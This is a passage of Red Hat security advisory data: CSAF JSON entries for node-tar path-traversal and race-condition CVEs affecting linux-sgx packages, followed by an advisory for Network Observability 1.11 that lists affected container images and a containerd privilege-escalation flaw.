"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives"
},
{
"cve": "CVE-2026-23950",
"cwe": {
"id": "CWE-367",
"name": "Time-of-check Time-of-use (TOCTOU) Race Condition"
},
"discovery_date": "2026-01-20T02:00:55.870044+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2431036"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in node-tar, a library for Node.js. This race condition vulnerability occurs due to incomplete handling of Unicode path collisions within the `path-reservations` system on case-insensitive filesystems, such as macOS APFS. A remote attacker can exploit this by providing a specially crafted tar archive containing filenames that cause these collisions, bypassing internal concurrency safeguards. Successful exploitation can lead to arbitrary file overwrite.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat products. The `node-tar` library is susceptible to a race condition due to incomplete handling of Unicode path collisions, which can lead to arbitrary file overwrites via symlink poisoning. However, this issue primarily affects case-insensitive or normalization-insensitive filesystems. Red Hat Enterprise Linux and other Red Hat products typically utilize case-sensitive filesystems, which may limit the direct impact of this flaw in default configurations.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-23950"
},
{
"category": "external",
"summary": "RHBZ#2431036",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431036"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-23950",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23950"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6",
"url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
}
],
"release_date": "2026-01-20T00:40:48.510000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-19T13:54:50+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:18868"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
"version": "3.1"
},
"products": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition"
},
{
"cve": "CVE-2026-24842",
"cwe": {
"id": "CWE-59",
"name": "Improper Link Resolution Before File Access (\u0027Link Following\u0027)"
},
"discovery_date": "2026-01-28T01:01:16.886629+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2433645"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in node-tar, a Node.js module for handling TAR archives. This vulnerability allows a remote attacker to bypass path traversal protections by crafting a malicious TAR archive. The security check for hardlink entries uses different path resolution logic than the actual hardlink creation, enabling the attacker to create hardlinks to arbitrary files outside the intended extraction directory. This could lead to unauthorized information disclosure or further system compromise.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an IMPORTANT vulnerability in node-tar, a Node.js module for handling TAR archives. The flaw allows an attacker to bypass path traversal protections by crafting a malicious TAR archive. This could lead to the creation of hardlinks to arbitrary files outside the intended extraction directory, potentially resulting in unauthorized information disclosure or further system compromise in affected Red Hat products utilizing node-tar for archive processing.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-24842"
},
{
"category": "external",
"summary": "RHBZ#2433645",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433645"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-24842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24842"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46",
"url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v"
}
],
"release_date": "2026-01-28T00:20:13.261000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-19T13:54:50+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:18868"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check"
}
]
}
RHSA-2026:2900
Vulnerability from csaf_redhat - Published: 2026-02-18 08:39 - Updated: 2026-07-23 03:43Summary
Red Hat Security Advisory: Network Observability 1.11.0 for OpenShift
Severity
Important
Notes
Topic: Network Observability 1.11 for Red Hat OpenShift.
Details: Network flows collector and monitoring solution.
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A local privilege escalation vulnerability has been discovered in containerd. This vulnerability is the result of an overly broad default permission which allows local users on the host to potentially access the metadata store, the content store and the contents of Kubernetes local volumes. The contents of volumes might include setuid binaries, which could allow a local user on the host to elevate privileges on the host.
7.7 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
21 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Workaround
|
Threats
Impact
Important
